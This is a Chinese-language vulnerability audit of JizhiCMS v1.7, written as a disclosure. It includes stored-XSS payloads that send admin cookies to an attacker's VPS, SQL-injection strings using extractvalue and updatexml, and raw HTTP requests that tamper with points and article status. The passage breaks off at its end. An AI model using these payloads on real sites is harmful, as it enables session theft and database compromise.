极致cms v1.7的一次审计

本文首发于先知社区——极致cms v1.7的一次审计,转载时请标明出处

前言

记一次极致cms v1.7的一次比较全面的审计(除了插件部分,我觉得应该审计的差不多了),大佬们轻喷。

其实插件部分已经被爱吃猫的闲鱼师傅审计发到先知上了

文章地址:某cms代码审计引发的思考

细心的朋友读完我这篇文章应该就能发现其实是同一个cms

网站目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.
├── 404.html
├── A(admin后台的一些文件,审计重点)
├── Conf(一些网站的配置文件,公共函数)
├── FrPHP(框架)
├── Home(用户的一些文件,审计核心)
├── Public(上传文件保存的地方)
├── README.md
├── admin.php(后台入口)
├── backup(数据库备份文件)
├── cache(网站缓存)
├── favicon.ico
├── index.php(前台入口)
├── install(安装目录)
├── readme.txt
├── sitemap.xml
├── static(一些静态文件)
└── web.config

网站的一些公共函数

由于下面的漏洞需要频繁的用到这个函数,所以我就单独拿出来先讲解一下。

frparam()

/FrPHP/lib/Controller.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// 获取URL参数值
public function frparam($str=null, $int=0,$default = FALSE, $method = null){

$data = $this->_data;
if($str===null) return $data;
if(!array_key_exists($str,$data)){
return ($default===FALSE)?false:$default;
}

if($method===null){
$value = $data[$str];
}else{
$method = strtolower($method);
switch($method){
case 'get':
$value = $_GET[$str];
break;
case 'post':
$value = $_POST[$str];
break;
case 'cookie':
$value = $_COOKIE[$str];
break;

}
}

return format_param($value,$int);


}

第28行,返回值进行了一些处理,继续回溯跟进,format_param方法如下:

/FrPHP/common/Functions.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
参数过滤,格式化
**/
function format_param($value=null,$int=0){
if($value==null){ return '';}
switch ($int){
case 0://整数
return (int)$value;
case 1://字符串
$value=htmlspecialchars(trim($value), ENT_QUOTES);
if(!get_magic_quotes_gpc())$value = addslashes($value);
return $value;
case 2://数组
if($value=='')return '';
array_walk_recursive($value, "array_format");
return $value;
case 3://浮点
return (float)$value;
case 4:
if(!get_magic_quotes_gpc())$value = addslashes($value);
return trim($value);
}
}

这个函数用来处理数据,只会对数据进行一些简单的过滤,具体的就在上面的switch语句中

存储型xss

第一处存储型xss(只能打管理员cookie)

/Home/c/MessageController.php中的index方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function index(){

if($_POST){

$w = $this->frparam();
$w = get_fields_data($w,'message',0);

$w['body'] = $this->frparam('body',1,'','POST');
$w['user'] = $this->frparam('user',1,'','POST');
$w['tel'] = $this->frparam('tel',1,'','POST');
$w['aid'] = $this->frparam('aid',0,0,'POST');
$w['tid'] = $this->frparam('tid',0,0,'POST');

if($this->webconf['autocheckmessage']==1){
$w['isshow'] = 1;
}else{
$w['isshow'] = 0;
}

$w['ip'] = GetIP();
$w['addtime'] = time();
if(isset($_SESSION['member'])){
$w['userid'] = $_SESSION['member']['id'];
}
......
......
......
......

这里第20行$w['ip'] = GetIP();,然后我们回溯,去找到GetIP()函数

/FrPHP/common/Functions.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function GetIP(){ 
static $ip = '';
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {
$ip = $_SERVER['HTTP_CDN_SRC_IP'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
foreach ($matches[0] AS $xip) {
if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
$ip = $xip;
break;
}
}
}
return $ip;
}

这里第5行并没有对$_SERVER['HTTP_CDN_SRC_IP']进行过滤,我们只需要在http头中传入CDN-SRC-IP字段即可

我们可以本地新建一个test.php对该函数进行输出,是可以传入任意字符的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
function GetIP(){
static $ip = '';
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {
$ip = $_SERVER['HTTP_CDN_SRC_IP'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
foreach ($matches[0] AS $xip) {
if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
$ip = $xip;
break;
}
}
}
return $ip;
}
echo GetIP();

image-20200411083835608

然后我们跟进,找到view模版

/A/t/tpl/message-details.html大约在文件的第86到94行,核心代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
......
......
......
<div class="layui-form-item">
<label for="ip" class="layui-form-label">
<span class="x-red">*</span>留言IP
</label>
<div class="layui-input-block">
<input type="text" id="ip" value="{$data['ip']}" name="ip"
autocomplete="off" class="layui-input">
</div>
</div>
......
......
......

然后我们看到第9行<input type="text" id="ip" value="{$data['ip']}" name="ip" autocomplete="off" class="layui-input">,这里是可以直接xss的

payload:

1
"><script src="你的vps-ip/4.js"></script>

4.js内容如下

1
2
var image=new Image();
image.src="你的vps-ip:10006/cookies.phpcookie="+document.cookie;

然后我们提交留言

image-20200531211933313

然后在vps上监听10006端口,当管理员点击编辑的时候,就会触发xss

image-20200411091736397

image-20200531212033870

这里的一个弊端,ip并没有显示在外面,很可惜,所以必须要诱导管理员点编辑才可以触发

第二处存储型xss(只能打管理员cookie)

/Home/c/UserController.phprelease()方法的大约第1066行开始,这里的截取了部分关键代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
switch($w['molds']){
case 'article':
if(!$data['body']){

if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'内容不能为空!']);
}else{
Error('内容不能为空!');
}
}
if(!$data['title']){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'标题不能为空!']);
}else{
Error('标题不能为空!');
}
}
$data['body'] = $this->frparam('body',4);
$w['title'] = $this->frparam('title',1);
$w['seo_title'] = $w['title'];
$w['keywords'] = $this->frparam('keywords',1);
$w['litpic'] = $this->frparam('litpic',1);
$w['body'] = $data['body'];
$w['description'] = newstr(strip_tags($data['body']),200);


break;
case 'product':
if(!$data['body']){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'内容不能为空!']);
}else{
Error('内容不能为空!');
}
}
if(!$data['title']){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'标题不能为空!']);
}else{
Error('标题不能为空!');
}
}
$w['title'] = $this->frparam('title',1);
$w['seo_title'] = $w['title'];
$w['litpic'] = $this->frparam('litpic',1);
$w['keywords'] = $this->frparam('keywords',1);
$w['pictures'] = $this->frparam('pictures',1);
if($this->frparam('pictures_urls',2)){
$w['pictures'] = implode('||',$this->frparam('pictures_urls',2));
}
$data['body'] = $this->frparam('body',4);
$w['body'] = $data['body'];
if($this->frparam('description',1)){
$w['description'] = $this->frparam('description',1);
}else{
$w['description'] = newstr(strip_tags($data['body']),200);
}

break;
default:

break;
}

因为上面我们已经介绍过了frparam函数,所以这里不再重复

第22行$w['litpic'] = $this->frparam('litpic',1);

因为我本地并没有配置get_magic_quotes_gpc,所以这里只是对输入的内容进行了htmlspecialcharsaddslashes处理,然后我们再看最后的落点,也就是在/A/t/tpl/article-list.html模版这里进行填充数据

/A/t/tpl/article-list.html关键代码大约在文件的第147行至第153行,如下:

1
2
3
4
5
6
7
	<script type="text/html" id="litpic">
{{# if(!d.litpic){ }}

{{# } else{ }}
<a href="{{d.litpic}}" target="_blank"><img src="{{d.litpic}}" width="100px" /></a>
{{# } }}
</script>

在上述关键代码的第5行就是填充的数据

所以我们构造payload:

1
javascript:window.location.href='你的vps-ip?'%2Bdocument.cookie

然后我们只需要发布一篇新文章,然后修改litpic字段即可

image-20200521135256043

image-20200521140852395

然后在后台网站管理——内容列表中

image-20200521140118709

当管理员点开这个缩略图的时候,就可以得到管理员的cookie

image-20200521140935710

第三处存储型xss(只能打管理员cookie)

/Home/c/UserController.php中的userinfo()方法,大约第129行,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function userinfo(){
$this->checklogin();
if($_POST){
$w = $this->frparam();
$w['tel'] = $this->frparam('tel',1);
$w['pass'] = $this->frparam('password',1);
$w['sex'] = $this->frparam('sex',0,0);
$w['repass'] = $this->frparam('repassword',1);
$w['username'] = $this->frparam('username',1);
$w['email'] = $this->frparam('email',1);
$w['litpic'] = $this->frparam('litpic',1);
$w['signature'] = $this->frparam('signature',1);

......
......
......

在上述代码的第11行,同样也是因为缩略图的问题,被加载在了/A/t/tpl/member-list.html中的第115行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
,cols: [[ //表头
{field: 'id', title: 'ID', width:50, sort: true, fixed:'left'}
,{type:'checkbox'}
,{field: 'isshow', title: '状态',width: 100,templet:'#isshow'}
,{field: 'username', title: '用户名',width: 150, sort: true}
,{field: 'new_gid', title: '分组',width:150}
,{field: 'tel', title: '手机号',width:200, sort: true}
,{field: 'email', title: '邮箱',width:150, sort: true}
,{field: 'new_litpic', title: '头像',width:150}
,{field: 'jifen', title: '积分',width:150}
,{field: 'money', title: '余额',width:150}
{foreach $fields_list as $v},{field: '{$v['field']}',width:150, title: '{$v['fieldname']}'}{/foreach}

,{field: 'new_regtime', title: '加入时间',width:160}
,{field: 'new_logintime', title: '登录时间',width:160}
{if(checkAction('Member/memberedit') || checkAction('Member/member_del'))}
,{field: '', title: '操作',width:260, toolbar: '#rightbar', fixed:'right'}
{/if}

image-20200521163150807

这里也是可以打cookie的,跟上述一样,为了演示方便就选择了弹窗
image-20200521163200869

sql注入

第一处sql注入

/Home/c/MessageController.php中的index方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function index(){

if($_POST){

$w = $this->frparam();
$w = get_fields_data($w,'message',0);

$w['body'] = $this->frparam('body',1,'','POST');
$w['user'] = $this->frparam('user',1,'','POST');
$w['tel'] = $this->frparam('tel',1,'','POST');
$w['aid'] = $this->frparam('aid',0,0,'POST');
$w['tid'] = $this->frparam('tid',0,0,'POST');

if($this->webconf['autocheckmessage']==1){
$w['isshow'] = 1;
}else{
$w['isshow'] = 0;
}

$w['ip'] = GetIP();
$w['addtime'] = time();
if(isset($_SESSION['member'])){
$w['userid'] = $_SESSION['member']['id'];
}
......
......
......
......

这里第20行$w['ip'] = GetIP();,然后我们回溯,去找到GetIP()函数

/FrPHP/common/Functions.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function GetIP(){ 
static $ip = '';
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {
$ip = $_SERVER['HTTP_CDN_SRC_IP'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
foreach ($matches[0] AS $xip) {
if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
$ip = $xip;
break;
}
}
}
return $ip;
}

这里第5行并没有对$_SERVER['HTTP_CDN_SRC_IP']进行过滤,我们只需要在http头中传入CDN-SRC-IP字段即可

我们可以本地对该函数进行输出,是可以传入任意字符的,上面的xss漏洞处已经做过演示了,这里就不再重复赘述了。

然后我们继续跟进,在/Home/c/MessageController.php中的第76行$res = M('message')->add($w);,这个add方法是Frphp框架的一个插入数据表的方法

/FrPHP/lib/Model.php中的add方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 新增数据
public function add($row)
{
if(!is_array($row))return FALSE;
$row = $this->__prepera_format($row);
if(empty($row))return FALSE;
foreach($row as $key => $value){
if($value!==null){
$cols[] = $key;
$vals[] = '\''.$value.'\'';
}
}
$col = join(',', $cols);
$val = join(',', $vals);
$table = self::$table;
$sql = "INSERT INTO {$table} ({$col}) VALUES ({$val})";
if( FALSE != $this->runSql($sql) ){
if( $newinserid = $this->db->lastInsertId() ){
return $newinserid;
}else{
$a=$this->find($row, "{$this->primary} DESC",$this->primary);
return array_pop($a);
}
}
return FALSE;
}

显然,第10行的$value我们可控(前面的ip可控),而且这里也并没有对插入数据表的数据进行过滤,所以这里存在sql注入,这里可以直接进行报错注入

查询当前用户payload:

1
2' and extractvalue(0x0a,concat(0x0a,(select user()))) and '1

image-20200603134921844

第二处sql注入

/Home/c/UserController.php中的release方法中的关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//文章发布和修改
function release(){
$this->checklogin();
error_reporting(E_ALL^E_NOTICE);

if($_POST){
$data = $this->frparam();
........
........
........
$w['tid'] = $this->frparam('tid');
if(!$w['tid']){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'请选择分类!']);
}else{
Error('请选择分类!');
}

}
$w['molds'] = $this->classtypedata[$w['tid']]['molds'];
$w = get_fields_data($data,$w['molds']);
........
........
........
if($this->frparam('id')){
$a = M($w['molds'])->update(['id'=>$this->frparam('id')],$w);

上述代码第7行$data = $this->frparam()frparam()方法前面已经提过了,这里就不再累赘重复了

这里是用来接收值的,如果是post传输的,就接收所有post的值,并且不进行过滤。

然后第11行代码$w['tid'] = $this->frparam('tid');,这里会接收参数名为tid的值,并且会进行return (int)$value;处理,这样传入1'就不行了,但是没关系,我们接着看第21行$w = get_fields_data($data,$w['molds']);,我们回溯一下get_fields_data()方法

/Conf/Functions.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
function get_fields_data($data,$molds,$isadmin=1){
if($isadmin){
$fields = M('fields')->findAll(['molds'=>$molds,'isadmin'=>1],'orders desc,id asc');
}else{
//前台需要判断是否前台显示
$fields = M('fields')->findAll(['molds'=>$molds,'isshow'=>1],'orders desc,id asc');
}
foreach($fields as $v){
if(array_key_exists($v['field'],$data)){
switch($v['fieldtype']){
case 1:
case 2:
case 5:
case 7:
case 9:
case 12:
$data[$v['field']] = format_param($data[$v['field']],1);
break;
case 11:
$data[$v['field']] = strtotime(format_param($data[$v['field']],1));
break;
case 3:
$data[$v['field']] = format_param($data[$v['field']],4);
break;
case 4:
case 13:
$data[$v['field']] = format_param($data[$v['field']]);
break;
case 14:
$data[$v['field']] = format_param($data[$v['field']],3);
break;
case 8:
$r = implode(',',format_param($data[$v['field']],2));
if($r!=''){
$r = ','.$r.',';
}

$data[$v['field']] = $r;
break;

}
}else if(array_key_exists($v['field'].'_urls',$data)){
switch($v['fieldtype']){
case 6:
case 10:
$data[$v['field']] = implode('||',format_param($data[$v['field'].'_urls'],2));
break;
}
}else{

$data[$v['field']] = '';

}

}
return $data;

}

因为我们不是admin,所以我们会执行第6行代码$fields = M('fields')->findAll(['molds'=>$molds,'isshow'=>1],'orders desc,id asc');

这里我post传入参数,简单的debug了一下,如下

2020-05-22_21-02-37

所以上述代码$fields['field']是不存在的,所以只会执行第51行代码$data[$v['field']] = '';,所以第56行返回的代码就是$data = $this->frparam();,这也就解释了为什么中间对tip进行过滤,但为什么最后依然还是存在注入,这应该是个严重的开发失误。

然后我们接着回溯update()方法

/FrPHP/lib/Model.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
   // 修改数据
public function update($conditions,$row)
{
$where = "";
$row = $this->__prepera_format($row);
if(empty($row))return FALSE;
if(is_array($conditions)){
$join = array();
foreach( $conditions as $key => $condition ){
$condition = '\''.$condition.'\'';
$join[] = "{$key} = {$condition}";
}
$where = "WHERE ".join(" AND ",$join);
}else{
if(null != $conditions)$where = "WHERE ".$conditions;
}
foreach($row as $key => $value){
if($value!==null){
$value = '\''.$value.'\'';
$vals[] = "{$key} = {$value}";
}else{
$vals[] = "{$key} = null";
}

}
$values = join(", ",$vals);
$table = self::$table;
$sql = "UPDATE {$table} SET {$values} {$where}";
return $this->runSql($sql);


}

/Home/c/UserController.php关键代码中的第25-26行,虽然25行if($this->frparam('id'))id进行了过滤,但是第26行$a = M($w['molds'])->update(['id'=>$this->frparam('id')],$w);这里update插入的是最原始的数据,,=也就是$w = get_fields_data($data,$w['molds']);。虽然$conditions也就是条件被过滤了,但是不影响我们注入。

所以这里的idmoldstid三个字段都存在sql注入

image-20200603192033126

image-20200603192126101

image-20200603192207996

第三处sql注入

/Home/c/UserController.php中的userinfo()方法中的关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
	function userinfo(){
$this->checklogin();
if($_POST){
$w = $this->frparam();
$w['tel'] = $this->frparam('tel',1);
$w['pass'] = $this->frparam('password',1);
$w['sex'] = $this->frparam('sex',0,0);
$w['repass'] = $this->frparam('repassword',1);
$w['username'] = $this->frparam('username',1);
$w['email'] = $this->frparam('email',1);
$w['litpic'] = $this->frparam('litpic',1);
$w['signature'] = $this->frparam('signature',1);
$w = get_fields_data($w,'member',0);
........
........
........
$re = M('member')->update(['id'=>$this->member['id']],$w);
$member = M('member')->find(['id'=>$this->member['id']]);
unset($member['pass']);
$_SESSION['member'] = array_merge($_SESSION['member'],$member);
if($this->frparam('ajax')){
JsonReturn(['code'=>0,'msg'=>'修改成功!']);
}
Error('修改成功!');

这里我们对比一下我post抓包后的字段,我们发现有3个字段没有进行过滤,分别是provincecityaddress这三个字段

image-20200521224630806

然后第17行$re = M('member')->update(['id'=>$this->member['id']],$w);所有字段依旧被update更新了,所以这里就存在了注入,还是一个报错注入,如果不回显报错也没有关系的,这里存在时间盲注,也是可以注入的

payload:

1
1' or (updatexml(1,concat(0x7e,(select user()),0x7e),1)) or '

province字段演示

image-20200521225451412

city字段演示

image-20200521225648455

address字段演示

image-20200521225746233

逻辑漏洞

第一处逻辑漏洞——任意订单查看

首先注册两个账号,账号A和账号B

然后用账号B购买一些商品,产生交易记录和订单号码

6535A2CA-C386-4812-A77A-2BBF84A37302

然后在A用户这里我的钱包——交易记录可以看到其他人的交易订单

image-20200330150851225

而且这里的订单号明显是更具时间戳进行命名的,我用其他A账户也可以直接访问到B账户的一些订单信息

image-20200603135708200

然后我们来分析为什么

/Home/c/UserController.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
//购买列表
function buylist(){
$this->checklogin();
//兑换记录
$page1 = new Page('buylog');
$this->type = $this->frparam('type',0,1);
if($this->type==1){
$sql =" buytype='money' and type=2 ";
}else if($this->type==2){
$sql =" buytype='jifen' and type=1 ";
}else{
$sql = " type=3 ";
}

$data1 = $page1->where($sql)->orderby('addtime desc')->page($this->frparam('p',0,1))->go();
$page1->file_ext = '';
$pages1 = $page1->pageList(5,'?p=');
$this->pages1 = $pages1;
foreach($data1 as $k=>$v){
$data1[$k]['date'] = date('Y-m-d H:i:s',$v['addtime']);
$data1[$k]['details'] = U('user/buydetails',['id'=>$v['id']]);
}
$this->lists1 = $data1;//列表数据
$this->sum1 = $page1->sum;//总数据
$this->listpage1 = $page1->listpage;//分页数组-自定义分页可用
$this->prevpage1 = $page1->prevpage;//上一页
$this->nextpage1 = $page1->nextpage;//下一页
$this->allpage1 = $page1->allpage;//总页数
//订单记录
$page = new Page('orders');
$this->type = $this->frparam('type',0,1);
if($this->type==1){
$sql =" ptype=1 ";
}else{
$sql =" ptype=2 ";
}
$sql.=" and isshow!=0 ";
$data = $page->where($sql)->orderby('addtime desc')->page($this->frparam('page',0,1))->go();
$page->file_ext = '';
$pages = $page->pageList(5,'?page=');
$this->pages = $pages;
foreach($data as $k=>$v){
$data[$k]['date'] = date('Y-m-d H:i:s',$v['addtime']);
$data[$k]['orderdetails'] = U('user/orderdetails',['orderno'=>$v['orderno']]);
$data[$k]['orderdel'] = U('user/orderdel',['orderno'=>$v['orderno']]);
$data[$k]['buytype'] = M('buylog')->getField(['orderno'=>$v['orderno']],'type');
}
$this->lists = $data;//列表数据
$this->sum = $page->sum;//总数据
$this->listpage = $page->listpage;//分页数组-自定义分页可用
$this->prevpage = $page->prevpage;//上一页
$this->nextpage = $page->nextpage;//下一页
$this->allpage = $page->allpage;//总页数

$this->display($this->template.'/user/buy-list');
}

可以看到第15行,这里在查询数据的时候,并没有查询某个特定用户,而是把所有人的购买记录都查询出来了,这样的话其他人都可以看到你的订单,你也可以看到其他人的订单。这里其实是开发者的问题,由于开发的失误才会导致这个问题。

第二处逻辑漏洞——越权修改用户自己的积分

这里我们先演示一下结果,然后再去分析

首先我们注册一个账号,然后在后台看他的积分,是1积分

image-20200528162718125

然后我们登录这个账号,然后在资料账户这里点提交抓包

image-20200528163503600

然后在post字段中添加jifen=1234,发包

image-20200528163546966

然后去后台看积分,发现积分已经被修改成了1234

image-20200528163646559

接下来我们来分析一下为什么会这样

上面的用户资料账户的代码在/Home/c/UserController.php中的userinfo方法里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
function userinfo(){
$this->checklogin();
if($_POST){
$w = $this->frparam();
$w['tel'] = $this->frparam('tel',1);
$w['pass'] = $this->frparam('password',1);
$w['sex'] = $this->frparam('sex',0,0);
$w['repass'] = $this->frparam('repassword',1);
$w['username'] = $this->frparam('username',1);
$w['email'] = $this->frparam('email',1);
$w['litpic'] = $this->frparam('litpic',1);
$w['signature'] = $this->frparam('signature',1);
$w = get_fields_data($w,'member',0);
if($w['tel']!=''){
if(preg_match("/^(13[0-9]|14[579]|15[0-3,5-9]|16[6]|17[0135678]|18[0-9]|19[89])\\d{8}$/",$w['tel'])){

}else{
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'手机号码格式错误!']);
}
Error('手机号码格式错误!');

}
//檢查是否已經註冊
$r = M('member')->find(['tel'=>$w['tel']]);
if($r){
if($r['id']!=$this->member['id']){

if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'手机号已被注册!']);
}
Error('手机号已被注册!');
}
}
}
if($w['username']==''){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'账户不能为空!']);
}
Error('账户不能为空!');
}
if($w['pass']!=$w['repass'] && $w['pass']!=''){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'两次密码不同!']);
}
Error('两次密码不同!');
}
if($w['email']){
$r = M('member')->find(['email'=>$w['email']]);
if($r){
if($r['id']!=$this->member['id']){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'邮箱已被使用!']);
}
Error('邮箱已被使用!');
}
}
}

$r = M('member')->find(['username'=>$w['username']]);
if($r){
if($r['id']!=$this->member['id']){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'昵称已被使用!']);
}
Error('昵称已被使用!');
}
}
if($w['pass']!=''){
$w['pass'] = md5(md5($w['pass']).md5($w['pass']));
}else{
unset($w['pass']);
unset($w['repass']);
}
$re = M('member')->update(['id'=>$this->member['id']],$w);
$member = M('member')->find(['id'=>$this->member['id']]);
unset($member['pass']);
$_SESSION['member'] = array_merge($_SESSION['member'],$member);
if($this->frparam('ajax')){
JsonReturn(['code'=>0,'msg'=>'修改成功!']);
}
Error('修改成功!');

}

$this->display($this->template.'/user/userinfo');

}

然后我们再来看admin那里修改用户积分的代码

/A/c/MemberController.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
function memberedit(){
$this->fields_biaoshi = 'member';
if($this->frparam('go')==1){
$data = $this->frparam();
$data = get_fields_data($data,'member');
$data['username'] = $this->frparam('username',1);
$data['email'] = $this->frparam('email',1);
$data['litpic'] = $this->frparam('litpic',1);
$data['address'] = $this->frparam('address',1);
$data['province'] = $this->frparam('province',1);
$data['city'] = $this->frparam('city',1);
$data['signature'] = $this->frparam('signature',1);
$data['birthday'] = $this->frparam('birthday',1);
if($data['pass']!=''){
if($data['pass']!=$data['repass']){
JsonReturn(array('code'=>1,'msg'=>'两次密码不同!'));
}
$data['pass'] = md5(md5($data['pass']).md5($data['pass']));
}else{
unset($data['pass']);
}
if(M('member')->update(array('id'=>$data['id']),$data)){
JsonReturn(array('code'=>0,'msg'=>'修改成功!'));
}else{
JsonReturn(array('code'=>1,'msg'=>'修改失败,请重新提交!'));
}



}

$this->data = M('member')->find(['id'=>$this->frparam('id')]);
if(!$this->data){
Error('没有找到该用户!');
}

$this->display('member-edit');
}

admin处修改的post表单如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin.php/Member/memberedit.html HTTP/1.1
Host: www.**.net
Content-Length: 159
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://www.**.net
Referer: http://www.**.net/admin.php/Member/memberedit/id/3.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=cdjbtp3sjhc70tg6pko7jguls5
Connection: close

go=1&id=3&email=333%40qq.com&tel=13011111111&username=13011111111&gid=1&jifen=1234.00&litpic=&file=&birthday=&signature=&province=&city=&address=&pass=&repass=

也就是说这里表单会传递一个jifen字段提交给后端,然后update写入到数据库中,但是并没有判断是用户传递的还是admin传递的,这就造成了用户在修改资料的时候,直接提交一个jifen字段即可

所以我们就在用修改用户资料的地方直接传入一个参数jifen=1234就可以修改积分了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /user/userinfo.html HTTP/1.1
Host: www.**.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 159
Origin: http://www.**.net
Connection: close
Referer: http://www.**.net/user/userinfo.html
Cookie: PHPSESSID=6jgmku4kuk71mdljmai77cj432
Upgrade-Insecure-Requests: 1

litpic=&file=&username=13011111111&tel=13011111111&email=333%40qq.com&sex=0&province=&city=&address=&password=&repassword=&signature=&submit=%E6%8F%90%E4%BA%A4&jifen=1234

第三处逻辑漏洞——越权修改自己的文章状态

这里我们先演示一下结果,然后再去分析

首先我们注册一个账号,然后点发布文章,随便发布一篇文章

image-20200529162727257

然后在后台看到记录

image-20200529162959312

然后我们在提交文章的地方添加字段ishot=1

image-20200529174835245

然后就可以看到文章是热属性了,虽然文章还没有被审核

image-20200529174937554

跟第一个越权漏洞类似,该漏洞也是因为在用户端没有过滤参数所导致的,这样可以让用户进行恶意传递参数来导致文章的状态被修改

/A/c/ArticleController.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
......
......
......
if($this->frparam('title',1)!=''){
$sql.=" and title like '%".$this->frparam('title',1)."%' ";
}
if($this->frparam('shuxing')){
if($this->frparam('shuxing')==1){
$sql.=" and istop=1 ";
}
if($this->frparam('shuxing')==2){
$sql.=" and ishot=1 ";
}
if($this->frparam('shuxing')==3){
$sql.=" and istuijian=1 ";
}

}
$data = $page->where($sql)->orderby('istop desc,orders desc,id desc')->limit($this->frparam('limit',0,10))->page($this->frparam('page',0,1))->go();
$ajaxdata = [];
foreach($data as $k=>$v){

if($v['ishot']==1){
$v['tuijian'] = '热';
}else if($v['istuijian']==1){
$v['tuijian'] = '荐';
}else if($v['istop']==1){
$v['tuijian'] = '顶';
}else{
$v['tuijian'] = '无';
}

......
......
......

这里是三种状态,ishot=1代表热,istuijian=1代表荐,istop=1代表顶,如果什么都没有那就是无

所以只需要在用户发布文章的地方添加字段ishot=1或者istuijian=1或者istop=1即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
